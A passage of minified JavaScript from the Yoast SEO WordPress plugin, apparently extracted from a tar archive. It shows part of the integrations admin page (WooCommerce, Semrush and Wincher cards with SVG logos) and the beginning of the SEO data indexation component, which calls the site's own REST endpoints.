3.65-2.3 6.08-5.77 8.4-9.29.6-.91 1.2-1.82 1.85-2.82 4.93 2.89 9.77 5.72 14.72 8.63-5.15 9.05-11.04 17.34-21.36 21.04-13.9 4.98-27.46.44-34.72-13.4-3.78-7.21-4.95-14.99-4.88-23.01.1-11.04 1.74-21.83 5.6-32.22 2.44-6.59 5.86-12.58 11.2-17.34 5.32-4.74 11.59-6.87 18.7-6.72 6.15.13 11.54 2.1 15.98 6.58m-27.88 35.11c-.16 1.51-.33 3.01-.52 4.72 6.16-1.36 12.07-2.67 18.31-4.04-.54-5.21-.9-10.32-1.65-15.36-.35-2.3-1.28-4.59-2.32-6.71-.96-1.97-2.75-2.41-4.57-1.16-1.41.96-2.73 2.26-3.62 3.7-3.51 5.69-4.81 12.08-5.64 18.86Z"})),ge||(ge=t.createElement("path",{fill:"#010101",d:"M926.11 142.76c-6.82-4.43-10.73-10.77-13.02-18.22-2.25-7.3-2.43-14.78-1.91-22.33.5-7.21 1.61-14.31 3.71-21.24 2.46-8.09 5.94-15.64 12.2-21.65 8.54-8.2 22.19-9.77 31.91-3.54 4.52 2.89 7.31 7.22 9.39 12.01 2.69 6.18 4 12.71 4.56 19.38.48 5.81.69 11.63 1.02 17.53-13.29 3.43-26.63 5.68-40.17 7.71.69 5.07 1.11 10.09 4.18 14.37 1.51 2.1 3.16 2.63 5.65 1.93 4.12-1.17 6.78-4.18 9.25-7.35 1.53-1.96 2.87-4.07 4.38-6.24 4.84 2.84 9.67 5.68 14.63 8.59-3.06 5.33-6.32 10.41-10.89 14.59-6.25 5.71-13.56 8.6-22.11 8.33-4.57-.14-8.82-1.35-12.78-3.86m11.79-63.33c-2.35 6.08-3.34 12.41-3.81 19.02l18.22-4.04c-.44-4.8-.64-9.44-1.35-14-.43-2.75-1.43-5.47-2.58-8.02-.94-2.08-2.67-2.37-4.69-1.2-.85.49-1.73 1.14-2.25 1.94-1.27 1.96-2.34 4.04-3.55 6.3Z"})),de||(de=t.createElement("path",{fill:"#020202",d:"M714.55 110.73c.03 3.69.1 7.24 1.51 10.56.51 1.21 1.25 2.4 2.14 3.38 1.73 1.91 3.74 2.13 5.98.81 3.13-1.84 5.16-4.73 7.06-7.66 2.39-3.67 4.59-7.47 6.94-11.33 4.68 3.34 9.4 6.71 14.16 10.12-3.09 7.86-6.75 15.32-12.56 21.6-10.5 11.33-24.8 10.15-34.82 3.47-6.67-4.44-10.21-10.98-11.89-18.58-1.53-6.9-1.26-13.85-.65-20.83.72-8.31 2.2-16.45 4.89-24.37 2.26-6.66 5.24-12.93 10.19-18.13 7.32-7.69 18.53-9.76 27.48-4.89 5.24 2.85 8.71 7.36 11.2 12.59 3.44 7.25 5.07 14.87 4.04 22.9-.24 1.89-.75 3.75-1.13 5.62-6.29-.59-12.34-1.16-18.19-1.71 0-2.32.05-4.5-.01-6.68-.1-3.57-.73-7.03-2.51-10.19-2.07-3.66-5.08-3.78-7.55-.35-2.46 3.42-3.31 7.42-4.13 11.41-1.5 7.29-1.91 14.7-2.13 22.27Zm764.13-35.84c-5.02-1.18-8.22 1.08-10.32 5.16-2.82 5.49-4.74 11.24-4.7 17.53.08 11.92.08 23.84.02 35.76-.02 4.38-.32 8.76-.5 13.35-7.53-.61-14.93-1.2-22.48-1.81.75-28.07 1.59-55.97-2.83-83.89 2.83.27 5.42.51 8.01.76 1.75.17 3.5.43 5.26.52.99.05 1.4.46 1.65 1.34.79 2.72 1.64 5.43 2.5 8.23 1.62-2.77 3.14-5.46 4.74-8.1 1.99-3.27 4.39-6.23 7.39-8.64 4.54-3.64 9.55-3.86 15.17-.59 1.81 1.05 3.4 2.47 5.04 3.79.32.26.64.88.54 1.23-1.53 5.58-3.13 11.14-4.74 16.82-1.61-.5-3.13-.96-4.77-1.46Z"})),ve||(ve=t.createElement("path",{fill:"#010101",d:"M775.99 52.99c.82-.19 1.63-.32 2.43-.25 6.42.59 12.84 1.21 19.25 1.83.09 0 .17.09.31.17v91.03c-7.34-.7-14.59-1.38-22.01-2.09 0-30.22 0-60.38.01-90.69Z"})),ue||(ue=t.createElement("path",{fill:"#020202",d:"M798.68 26.96c-.47 5.38-.93 10.63-1.41 16.04-7.27-.88-14.35-1.73-21.71-2.62.63-7.04 1.26-14.05 1.91-21.28 7.31.83 14.48 1.65 21.74 2.48-.19 1.88-.36 3.56-.53 5.38Z"})),we||(we=t.createElement("path",{fill:"#607983",d:"m8.856 20.455 97.89-17.26c6.795-1.199 13.282 3.344 14.48 10.139l20.88 118.413c1.198 6.795-3.344 13.283-10.14 14.48l-97.89 17.261a7.097 7.097 0 0 1-8.213-5.75L3.105 28.667a7.097 7.097 0 0 1 5.75-8.213Z"})),fe||(fe=t.createElement("path",{fill:"#3a5160",d:"M21.37 18.25 8.86 20.46c-3.84.68-6.43 4.37-5.75 8.21l22.76 129.08c.68 3.84 4.37 6.43 8.21 5.75l12.51-2.21L21.37 18.25Z"})),Ee||(Ee=t.createElement("path",{fill:"#d2e0e4",d:"M89.24 39.48c-1.9.34-3.17 2.15-2.84 4.05l3.83 21.7c.45 2.57-1.29 5.02-3.85 5.47s-4.99-1.26-5.44-3.83l-3.83-21.7c-.34-1.9-2.15-3.17-4.05-2.84s-3.17 2.15-2.84 4.05l3.83 21.7c.45 2.57-1.29 5.02-3.85 5.47s-4.99-1.26-5.44-3.83l-3.83-21.7c-.34-1.9-2.15-3.17-4.05-2.84s-3.17 2.15-2.84 4.05l4.46 25.28c1.49 8.45 8.11 14.69 16.08 16.14l6.09 34.55c.66 3.75 4.24 6.26 8 5.6s6.26-4.24 5.6-8l-6.09-34.55c7-4.09 11.08-12.21 9.59-20.66l-4.46-25.28a3.507 3.507 0 0 0-4.05-2.84Z"})))}],Ze={name:"WooCommerce",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: bold close tag. */
(0,o.__)("Get %1$srich product results%2$s in Google search","wordpress-seo"),"<strong>","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-woocommerce",logoLink:"https://yoa.st/integrations-logo-woocommerce",slug:"woocommerce",description:(0,o.sprintf)(/* translators: 1: Yoast WooCommerce SEO */
(0,o.__)("Unlock rich snippets for your product pages by using %1$s.","wordpress-seo"),"Yoast WooCommerce SEO"),isPremium:!1,isNew:!1,isMultisiteAvailable:!0,logo:W,upsellLink:"https://yoa.st/integrations-get-woocommerce"},Te=[ke.map(((e,s)=>(0,t.createElement)(Q,{key:s,integration:e,isActive:y(e)})))];Te.push((0,t.createElement)(U,{key:ke.length+1,integration:Ze,isActive:Boolean(window.wpseoIntegrationsData.woocommerce_seo_active),isInstalled:Boolean(window.wpseoIntegrationsData.woocommerce_seo_installed),isPrerequisiteActive:Boolean(window.wpseoIntegrationsData.woocommerce_active),upsellLink:window.wpseoIntegrationsData.woocommerce_seo_upsell_url,activationLink:window.wpseoIntegrationsData.woocommerce_seo_activate_url}));const xe=Te;var Ne,Le,Ae;function Oe(){return Oe=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},Oe.apply(this,arguments)}function $e(){return $e=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var a in s)Object.prototype.hasOwnProperty.call(s,a)&&(e[a]=s[a])}return e},$e.apply(this,arguments)}const Ve=[[{name:"Semrush",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: Semrush; 3: bold close tag. */
(0,o.__)("Use %1$s%2$s%3$s to do keyword research - without leaving your post","wordpress-seo"),"<strong>","Semrush","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-semrush",logoLink:"http://yoa.st/semrush-prices-wordpress",slug:"semrush",description:(0,o.sprintf)(/* translators: 1: Semrush */
(0,o.__)("Find out what your audience is searching for with %s data right in your sidebar.","wordpress-seo"),"Semrush"),isPremium:!1,isNew:!1,isMultisiteAvailable:!0,logo:e=>t.createElement("svg",Oe({xmlns:"http://www.w3.org/2000/svg",width:170,height:27,fill:"none",viewBox:"0 0 200 27"},e),Ne||(Ne=t.createElement("path",{fill:"#171A22",d:"M138.086 10.413c0-3.276-2.013-5.651-5.869-5.651h-12.466v16.976h4.099v-5.797h4.85l4.753 5.795h4.619v-.374l-4.619-5.518c2.882-.594 4.633-2.71 4.633-5.431Zm-6.329 2.1h-7.907V8.277h7.907c1.462 0 2.401.779 2.401 2.123-.001 1.366-.908 2.111-2.401 2.111ZM200 4.762h-3.833v6.436h-10.331V4.762h-4.147v16.976h4.147v-6.685h10.331v6.685H200V4.762ZM108.78 4.762l-4.558 14.284h-.25L99.388 4.762h-7.3v16.976h3.905V7.793h.243l4.558 13.945h6.289l4.584-13.945h.241v13.945h4.027V4.762h-7.155ZM64.176 11.708c-1.448-.15-4.148-.397-5.597-.547-1.425-.146-2.249-.569-2.249-1.51 0-.903.875-1.665 4.403-1.665 3.113 0 5.986.666 8.494 1.876V6.064c-2.508-1.196-5.264-1.78-8.706-1.78-4.829 0-8.172 2.019-8.172 5.432 0 2.89 1.962 4.468 5.898 4.898 1.425.156 3.847.369 5.537.508 1.84.153 2.388.715 2.388 1.554 0 1.152-1.29 1.867-4.56 1.867-3.328 0-6.697-1.088-9.093-2.61v3.909c1.925 1.287 5.258 2.38 8.97 2.38 5.275 0 8.66-2.035 8.66-5.677 0-2.74-1.807-4.404-5.973-4.837ZM72.834 4.762v16.976h15.835V18.27H76.737v-3.444h11.729v-3.442H76.737V8.229H88.67V4.762H72.834ZM173.218 11.708c-1.448-.15-4.148-.398-5.597-.547-1.425-.146-2.249-.569-2.249-1.51 0-.903.875-1.665 4.402-1.665 3.114 0 5.987.666 8.495 1.876V6.064c-2.51-1.195-5.264-1.78-8.706-1.78-4.829 0-8.172 2.018-8.172 5.432 0 2.89 1.962 4.468 5.898 4.897 1.425.157 3.847.37 5.537.509 1.841.153 2.388.715 2.388 1.554 0 1.151-1.291 1.866-4.56 1.866-3.328 0-6.697-1.087-9.093-2.61v3.91c1.925 1.287 5.258 2.38 8.97 2.38 5.275 0 8.661-2.035 8.661-5.677 0-2.74-1.806-4.404-5.974-4.837ZM154.503 4.762v8.69c0 3.293-2 5.1-5.008 5.1-3.024 0-5.008-1.78-5.008-5.15v-8.64h-4.075v8.254c0 6.164 3.852 9.207 9.142 9.207 5.09 0 9.021-2.924 9.021-9.006V4.762h-4.072Z"})),Le||(Le=t.createElement("path",{fill:"#FF642D",d:"M38.307 13.152c0 .827-.415.955-1.466.955-1.114 0-1.305-.192-1.433-1.02-.223-2.132-1.657-3.948-4.075-4.138-.764-.064-.955-.35-.955-1.306 0-.891.128-1.306.828-1.306 4.202 0 7.1 3.376 7.1 6.815Zm6.114 0C44.42 6.752 40.09 0 30.09 0H10.214c-.4 0-.65.21-.65.576 0 .2.15.379.286.485.729.572 1.79 1.201 3.213 1.913 1.38.69 2.445 1.138 3.527 1.578.447.18.625.379.625.644 0 .346-.244.566-.747.566H.69c-.466 0-.691.3-.691.604 0 .258.09.465.31.693 1.281 1.336 3.317 2.947 6.293 4.809a92.427 92.427 0 0 0 8.386 4.617c.43.206.58.445.57.691-.012.286-.237.527-.734.527H7.593c-.411 0-.64.217-.64.549 0 .185.15.42.344.598 1.645 1.491 4.275 3.123 7.78 4.615 4.674 1.99 9.432 3.187 14.776 3.187 10.127 0 14.568-7.578 14.568-13.5Zm-13.215 9.074c-4.968 0-9.107-4.044-9.107-9.074 0-4.968 4.139-8.948 9.107-8.948 5.095 0 9.074 3.981 9.074 8.948 0 5.03-3.98 9.074-9.074 9.074Z"})))},{name:"Wincher",claim:(0,i.createInterpolateElement)((0,o.sprintf)(/* translators: 1: bold open tag; 2: Wincher; 3: bold close tag. */
(0,o.__)("Track your rankings through time with %1$s%2$s%3$s","wordpress-seo"),"<strong>","Wincher","</strong>"),{strong:(0,t.createElement)("strong",null)}),learnMoreLink:"https://yoa.st/integrations-about-wincher",logoLink:"https://yoa.st/integrations-logo-wincher",slug:"wincher",description:(0,o.sprintf)(/* translators: 1: Wincher */
(0,o.__)("Keep an eye on how your posts are ranking by connecting to your %s account.","wordpress-seo"),"Wincher"),isPremium:!1,isNew:!1,isMultisiteAvailable:!1,logo:e=>t.createElement("svg",$e({xmlns:"http://www.w3.org/2000/svg",width:140,viewBox:"0 0 566 122"},e),Ae||(Ae=t.createElement("g",{fill:"none",fillRule:"evenodd"},t.createElement("g",{fillRule:"nonzero",transform:"translate(183.8 37)"},t.createElement("circle",{cx:375.8,cy:58.2,r:5.6,fill:"#FFA23A"}),t.createElement("path",{fill:"#37343B",d:"M31.805 62.112a2.4 2.4 0 0 1-2.282 1.656h-7.337a2.4 2.4 0 0 1-2.277-1.641L.323 3.365A2.4 2.4 0 0 1 2.6.206h8.895a2.4 2.4 0 0 1 2.298 1.708l12.37 41.04 13.974-41.12A2.4 2.4 0 0 1 42.409.206h4.7a2.4 2.4 0 0 1 2.268 1.616l14.228 41.131 12.2-41.03A2.4 2.4 0 0 1 78.107.205H87a2.4 2.4 0 0 1 2.278 3.156L69.77 62.124a2.4 2.4 0 0 1-2.278 1.644h-7.335a2.4 2.4 0 0 1-2.282-1.656L44.84 22.139 31.805 62.112zm74.538-45.22a2.4 2.4 0 0 1 2.4 2.4v42.076a2.4 2.4 0 0 1-2.4 2.4H98.95a2.4 2.4 0 0 1-2.4-2.4V19.292a2.4 2.4 0 0 1 2.4-2.4h7.393zM102.555 0c3.095 0 5.605 2.496 5.605 5.575s-2.51 5.574-5.605 5.574c-3.095 0-5.605-2.495-5.605-5.574 0-3.08 2.51-5.575 5.605-5.575zm29.076 61.368a2.4 2.4 0 0 1-2.4 2.4h-7.392a2.4 2.4 0 0 1-2.4-2.4V19.292a2.4 2.4 0 0 1 2.4-2.4h7.133a2.4 2.4 0 0 1 2.4 2.4v4.937c1.268-2.35 3.228-4.243 5.88-5.677 2.651-1.433 5.62-2.15 8.906-2.15 5.13 0 9.483 1.692 13.057 5.075s5.361 8.2 5.361 14.45v25.44a2.4 2.4 0 0 1-2.4 2.4h-7.392a2.4 2.4 0 0 1-2.4-2.4V39.196c0-3.67-.894-6.523-2.68-8.558-1.788-2.036-4.209-3.054-7.264-3.054-3.228 0-5.837.304-7.826 2.512-1.989 2.207-2.983 5.86-2.983 9.358v21.915zM198.736 64c-7.131 0-13.018-2.242-17.66-6.725-4.584-4.427-6.876-10.172-6.876-17.233s2.32-12.806 6.962-17.233C185.86 18.27 191.83 16 199.076 16c4.754 0 9.07 1.12 12.947 3.363 3.38 1.953 5.996 4.589 7.849 7.905.643 1.151.272 1.78-.517 2.208l-6.947 3.774c-1.003.545-1.63.246-2.293-.654-2.74-3.722-6.363-5.584-10.87-5.584-3.848 0-6.99 1.261-9.423 3.783-2.49 2.466-3.736 5.548-3.736 9.247 0 3.81 1.217 6.95 3.65 9.415 2.491 2.466 5.576 3.699 9.255 3.699 2.434 0 4.754-.645 6.962-1.934 1.73-1.01 3.094-2.243 4.094-3.7.47-.685 1.14-1.03 2.077-.484l7.195 4.187c.738.43.968 1.038.538 1.742-1.954 3.2-4.679 5.784-8.173 7.755C207.806 62.907 203.49 64 198.736 64zm44.522-2.632a2.4 2.4 0 0 1-2.4 2.4h-7.393a2.4 2.4 0 0 1-2.4-2.4V2.4a2.4 2.4 0 0 1 2.4-2.4h7.047a2.4 2.4 0 0 1 2.4 2.4v21.399c1.268-2.179 3.257-3.957 5.966-5.333 2.71-1.376 5.679-2.064 8.907-2.064 5.073 0 9.396 1.692 12.97 5.075 3.575 3.383 5.362 8.2 5.362 14.45v25.44a2.4 2.4 0 0 1-2.4 2.4h-7.393a2.4 2.4 0 0 1-2.4-2.4V39.196c0-3.67-.879-6.523-2.637-8.558-1.758-2.036-4.165-3.054-7.22-3.054-3.229 0-5.837 1.104-7.826 3.312-1.989 2.207-2.983 5.06-2.983 8.558v21.915zM311.177 64c-8.045 0-14.233-2.326-18.564-6.977-4.275-4.596-6.413-10.256-6.413-16.981 0-7.005 2.222-12.75 6.666-17.233C297.31 18.27 303.076 16 310.164 16c6.694 0 12.207 2.074 16.539 6.22 4.331 4.148 6.497 9.752 6.497 16.813 0 1.087-.085 2.375-.254 3.866-.104.92-.483 1.346-1.483 1.346h-33.197c1.688 6.501 6.16 9.752 13.417 9.752 4.807 0 9.295-1.247 13.464-3.74.787-.471 1.621-.471 2.059.299l3.324 5.854c.565.997.43 1.514-.38 2.05-5.582 3.693-11.907 5.54-18.973 5.54zM321.2 36c-.554-3.1-1.827-5.54-3.82-7.325-1.992-1.783-4.483-2.675-7.472-2.675-2.934 0-5.439.892-7.515 2.675-2.076 1.784-3.473 4.226-4.193 7.325h23zm34.954 25.368a2.4 2.4 0 0 1-2.4 2.4h-7.393a2.4 2.4 0 0 1-2.4-2.4V19.292a2.4 2.4 0 0 1 2.4-2.4h6.874a2.4 2.4 0 0 1 2.4 2.4v5.472c2.825-5.046 7.148-7.57 12.97-7.57 1.491 0 2.982.212 4.472.635.86.243 1.193.871 1.11 1.796l-.778 8.712c-.097 1.091-.567 1.348-1.636 1.091-1.487-.357-2.86-.536-4.119-.536-3.574 0-6.384 1.19-8.43 3.57-2.047 2.38-3.07 5.92-3.07 10.622v18.284z"})),t.createElement("path",{fill:"#FF8F3B",d:"M154.949.162a3.423 3.423 0 0 1 2.235 4.308l-37.107 115.146a3.446 3.446 0 0 1-3.285 2.384H94.376c-.356 0-.71-.055-1.049-.162a3.423 3.423 0 0 1-2.235-4.308L128.199 2.384A3.446 3.446 0 0 1 131.484 0h24.485c.356 0-1.36.055-1.02.162zm-70.7 14.231c.355 0 .707.055 1.046.162a3.423 3.423 0 0 1 2.24 4.305L55.247 119.613A3.446 3.446 0 0 1 51.962 122H29.545c-.355 0-.708-.055-1.047-.162a3.423 3.423 0 0 1-2.239-4.305L58.545 16.78a3.446 3.446 0 0 1 3.286-2.387h22.417z"}),t.createElement("path",{fill:"#FF7F3B",d:"m107.849 65.53 14.936 45.68-2.708 8.406a3.446 3.446 0 0 1-3.285 2.384l-11.788-47.64 2.845-8.83zm-64.877-.151 14.976 45.805-2.7 8.429a3.425 3.425 0 0 1-.157.4l-15.13-45.236 3.011-9.398z"}),t.createElement("path",{fill:"#FFA23A",d:"M84.376 14.393c1.501 0 2.83.966 3.285 2.387l32.287 100.753a3.423 3.423 0 0 1-2.24 4.305 3.468 3.468 0 0 1-1.046.162H94.245a3.446 3.446 0 0 1-3.286-2.387L58.673 18.86a3.423 3.423 0 0 1 2.24-4.305 3.468 3.468 0 0 1 1.045-.162zM26.454 37.011c1.497 0 2.823.96 3.282 2.376l25.363 78.135a3.423 3.423 0 0 1-2.224 4.313c-.342.11-.699.165-1.058.165H29.408a3.446 3.446 0 0 1-3.282-2.376L.763 41.49a3.423 3.423 0 0 1 2.224-4.314 3.485 3.485 0 0 1 1.058-.165z"}))))}].map(((e,s)=>(0,t.createElement)(L,{key:s,integration:e,toggleLabel:(0,o.__)("Enable integration","wordpress-seo"),initialActivationState:y(e),isNetworkControlEnabled:g(e),isMultisiteAvailable:d(e),beforeToggle:w})))];function Ie(e,s,a=""){return(0,i.createInterpolateElement)(e,{a:(0,t.createElement)("a",{id:a,href:s,target:"_blank",rel:"noopener noreferrer"})})}const Se=({title:e,description:s,elements:a})=>(0,t.createElement)("section",null,(0,t.createElement)("div",{className:"yst-mb-8"},(0,t.createElement)("h2",{className:"yst-mb-2 yst-text-lg yst-font-medium"},e),(0,t.createElement)("p",{className:"yst-text-tiny"},s)),(0,t.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-6 sm:yst-grid-cols-2 md:yst-grid-cols-3 lg:yst-grid-cols-4"},a));function ze(){return(0,t.createElement)("div",{className:"yst-h-full yst-flex yst-flex-col yst-bg-white yst-rounded-lg yst-shadow"},(0,t.createElement)("header",{className:"yst-border-b yst-border-slate-200"},(0,t.createElement)("div",{className:"yst-max-w-screen-sm yst-p-8"},(0,t.createElement)(r.Title,{as:"h1",className:"yst-flex yst-items-center"},(0,o.__)("Integrations","wordpress-seo")),(0,t.createElement)("p",{className:"yst-text-tiny yst-mt-3"},(0,o.sprintf)(/* translators: 1: Yoast SEO */
(0,o.__)("%s can integrate with other products, to help you further improve your website. You can enable or disable these integrations below.","wordpress-seo"),"Yoast SEO")))),(0,t.createElement)("div",{className:"yst-flex-grow yst-max-w-6xl yst-p-8"},(0,t.createElement)(Se,{title:(0,o.__)("Recommended integrations","wordpress-seo"),elements:Ve}),(0,t.createElement)("hr",{className:"yst-my-12"}),(0,t.createElement)(Se,{title:(0,o.__)("Schema API integrations","wordpress-seo"),description:Ie((0,o.sprintf)(/* translators: 1: anchor tag linking to our schema API docs; 2: closing anchor tag. */
(0,o.__)("Unlock rich results in Google search by using plugins that integrate with the %1$sYoast Schema API%2$s.","wordpress-seo"),"<a>","</a>"),"https://developer.yoast.com/features/schema/api/","schema-api-link"),elements:xe}),(0,t.createElement)("hr",{className:"yst-my-12"}),(0,t.createElement)(Se,{title:(0,o.__)("Plugin integrations","wordpress-seo"),elements:te}),(0,t.createElement)("hr",{className:"yst-my-12"}),(0,t.createElement)(Se,{title:(0,o.__)("Other integrations","wordpress-seo"),elements:I})))}Se.propTypes={title:l.PropTypes.string,description:l.PropTypes.node,elements:l.PropTypes.array};const Ce=window.yoast.styledComponents,je=window.yoast.externals.contexts,Re=({theme:e,location:s,children:a})=>(0,t.createElement)(je.LocationProvider,{value:s},(0,t.createElement)(Ce.ThemeProvider,{theme:e},a));Re.propTypes={theme:c().object.isRequired,location:c().oneOf(["sidebar","metabox","modal"]).isRequired,children:c().element.isRequired};const Fe=Re,Be=[];let He=null;class De extends i.Component{constructor(e){super(e),this.state={registeredComponents:[]}}registerComponent(e,t){this.setState({registeredComponents:[...this.state.registeredComponents,{key:e,Component:t}]})}render(){return this.state.registeredComponents.map((({Component:e,key:s})=>(0,t.createElement)(e,{key:s})))}}window.YoastSEO=window.YoastSEO||{},window.YoastSEO._registerReactComponent=function(e,t){null===He||null===He.current?Be.push({key:e,Component:t}):He.current.registerComponent(e,t)},n()((()=>{const e={isRtl:Boolean((0,s.get)(window,"wpseoScriptData.metabox.isRtl",!1))};!function(e,a){const n=(0,s.get)(window,"wpseoScriptData.metabox",{intl:{},isRtl:!1});He=(0,i.createRef)();const r={isRtl:n.isRtl};(0,i.render)((0,t.createElement)(Fe,{theme:r,location:"sidebar"},(0,t.createElement)(N.SlotFillProvider,null,(0,t.createElement)(i.Fragment,null,a,(0,t.createElement)(De,{ref:He})))),document.getElementById(e)),Be.forEach((e=>{He.current.registerComponent(e.key,e.Component)}))}("wpseo-integrations",(0,t.createElement)(r.Root,{context:e},(0,t.createElement)(ze,null)))}))})();wordpress-seo/js/dist/indexation.js000064400000016301147510273070013446 0ustar00(()=>{"use strict";var e={n:t=>{var n=t&&t.__esModule?()=>t.default:()=>t;return e.d(n,{a:n}),n},d:(t,n)=>{for(var s in n)e.o(n,s)&&!e.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:n[s]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,n=window.wp.element,s=window.jQuery;var r=e.n(s);const i=window.wp.i18n,o=window.yoast.componentsNew,a=window.yoast.styleGuide,d=window.yoast.propTypes;var l=e.n(d);const c=window.yoast.helpers,p=window.yoast.styledComponents;var u=e.n(p);class g extends Error{constructor(e,t,n,s,r){super(e),this.name="RequestError",this.url=t,this.method=n,this.statusCode=s,this.stackTrace=r}}const{stripTagsFromHtmlString:h}=c.strings,m=["a","p"],w=u().div`
	margin-top: 8px;
`,x=u().pre`
	overflow-x: scroll;
	max-width: 500px;
	border: 1px solid;
	padding: 16px;
`;function y({title:e,value:n}){return n?(0,t.createElement)("p",null,(0,t.createElement)("strong",null,e),(0,t.createElement)("br",null),n):null}function E({title:e,value:n}){return n?(0,t.createElement)("details",null,(0,t.createElement)("summary",null,e),(0,t.createElement)(x,null,n)):null}function S({message:e,error:n}){return(0,t.createElement)(o.Alert,{type:"error"},(0,t.createElement)("div",{dangerouslySetInnerHTML:{__html:h(e,m)}}),(0,t.createElement)("details",null,(0,t.createElement)("summary",null,(0,i.__)("Error details","wordpress-seo")),(0,t.createElement)(w,null,(0,t.createElement)(y,{title:(0,i.__)("Request URL","wordpress-seo"),value:n.url}),(0,t.createElement)(y,{title:(0,i.__)("Request method","wordpress-seo"),value:n.method}),(0,t.createElement)(y,{title:(0,i.__)("Status code","wordpress-seo"),value:n.statusCode}),(0,t.createElement)(y,{title:(0,i.__)("Error message","wordpress-seo"),value:n.message}),(0,t.createElement)(E,{title:(0,i.__)("Response","wordpress-seo"),value:n.parseString}),(0,t.createElement)(E,{title:(0,i.__)("Error stack trace","wordpress-seo"),value:n.stackTrace}))))}y.propTypes={title:l().string.isRequired,value:l().any},y.defaultProps={value:""},E.propTypes={title:l().string.isRequired,value:l().string},E.defaultProps={value:""},S.propTypes={message:l().string.isRequired,error:l().oneOfType([l().instanceOf(Error),l().instanceOf(g)]).isRequired};class f extends Error{constructor(e,t){super(e),this.name="ParseError",this.parseString=t}}const _="idle",I="in_progress",A="errored",v="completed";class T extends n.Component{constructor(e){super(e),this.settings=yoastIndexingData,this.state={state:_,processed:0,error:null,amount:parseInt(this.settings.amount,10),firstTime:"1"===this.settings.firstTime},this.startIndexing=this.startIndexing.bind(this),this.stopIndexing=this.stopIndexing.bind(this)}async doIndexingRequest(e,t){const n=await fetch(e,{method:"POST",headers:{"X-WP-Nonce":t}}),s=await n.text();let r;try{r=JSON.parse(s)}catch(e){throw new f("Error parsing the response to JSON.",s)}if(!n.ok){const t=r.data?r.data.stackTrace:"";throw new g(r.message,e,"POST",n.status,t)}return r}async doPreIndexingAction(e){"function"==typeof this.props.preIndexingActions[e]&&await this.props.preIndexingActions[e](this.settings)}async doPostIndexingAction(e,t){"function"==typeof this.props.indexingActions[e]&&await this.props.indexingActions[e](t.objects,this.settings)}async doIndexing(e){let t=this.settings.restApi.root+this.settings.restApi.indexing_endpoints[e];for(;this.isState(I)&&!1!==t;)try{await this.doPreIndexingAction(e);const s=await this.doIndexingRequest(t,this.settings.restApi.nonce);await this.doPostIndexingAction(e,s),(0,n.flushSync)((()=>{this.setState((e=>({processed:e.processed+s.objects.length,firstTime:!1})))})),t=s.next_url}catch(e){(0,n.flushSync)((()=>{this.setState({state:A,error:e,firstTime:!1})}))}}async index(){for(const e of Object.keys(this.settings.restApi.indexing_endpoints))await this.doIndexing(e);this.isState(A)||this.isState(_)||this.completeIndexing()}async startIndexing(){this.setState({processed:0,state:I},this.index)}completeIndexing(){this.setState({state:v})}stopIndexing(){this.setState((e=>({state:_,processed:0,amount:e.amount-e.processed})))}componentDidMount(){var e,t;if(!this.settings.disabled&&(this.props.indexingStateCallback(0===this.state.amount?"completed":this.state.state),"true"===new URLSearchParams(window.location.search).get("start-indexation"))){const n=function(e,t){const n=new URL(e);return n.searchParams.delete("start-indexation"),n.href}(window.location.href);null,e=document.title,t=n,window.history.pushState(null,e,t),this.startIndexing()}}componentDidUpdate(e,t){this.state.state!==t.state&&this.props.indexingStateCallback(this.state.state)}isState(e){return this.state.state===e}renderFirstIndexationNotice(){return(0,t.createElement)(o.Alert,{type:"info"},(0,i.__)("This feature includes and replaces the Text Link Counter and Internal Linking Analysis","wordpress-seo"))}renderStartButton(){return(0,t.createElement)(o.NewButton,{variant:"primary",onClick:this.startIndexing},(0,i.__)("Start SEO data optimization","wordpress-seo"))}renderStopButton(){return(0,t.createElement)(o.NewButton,{variant:"secondary",onClick:this.stopIndexing},(0,i.__)("Stop SEO data optimization","wordpress-seo"))}renderDisabledTool(){return(0,t.createElement)(n.Fragment,null,(0,t.createElement)("p",null,(0,t.createElement)(o.NewButton,{variant:"secondary",disabled:!0},(0,i.__)("Start SEO data optimization","wordpress-seo"))),(0,t.createElement)(o.Alert,{type:"info"},(0,i.__)("SEO data optimization is disabled for non-production environments.","wordpress-seo")))}renderProgressBar(){return(0,t.createElement)(n.Fragment,null,(0,t.createElement)(o.ProgressBar,{style:{height:"16px",margin:"8px 0"},progressColor:a.colors.$color_pink_dark,max:parseInt(this.state.amount,10),value:this.state.processed}),(0,t.createElement)("p",{style:{color:a.colors.$palette_grey_text}},(0,i.__)("Optimizing SEO data... This may take a while.","wordpress-seo")))}renderErrorAlert(){return(0,t.createElement)(S,{message:yoastIndexingData.errorMessage,error:this.state.error})}renderTool(){return(0,t.createElement)(n.Fragment,null,this.isState(I)&&this.renderProgressBar(),this.isState(A)&&this.renderErrorAlert(),this.isState(_)&&this.state.firstTime&&this.renderFirstIndexationNotice(),this.isState(I)?this.renderStopButton():this.renderStartButton())}render(){return this.settings.disabled?this.renderDisabledTool():this.isState(v)||0===this.state.amount?(0,t.createElement)(o.Alert,{type:"success"},(0,i.__)("SEO data optimization complete","wordpress-seo")):this.renderTool()}}T.propTypes={indexingActions:l().object,preIndexingActions:l().object,indexingStateCallback:l().func},T.defaultProps={indexingActions:{},preIndexingActions:{},indexingStateCallback:()=>{}};const b=T;let P;function 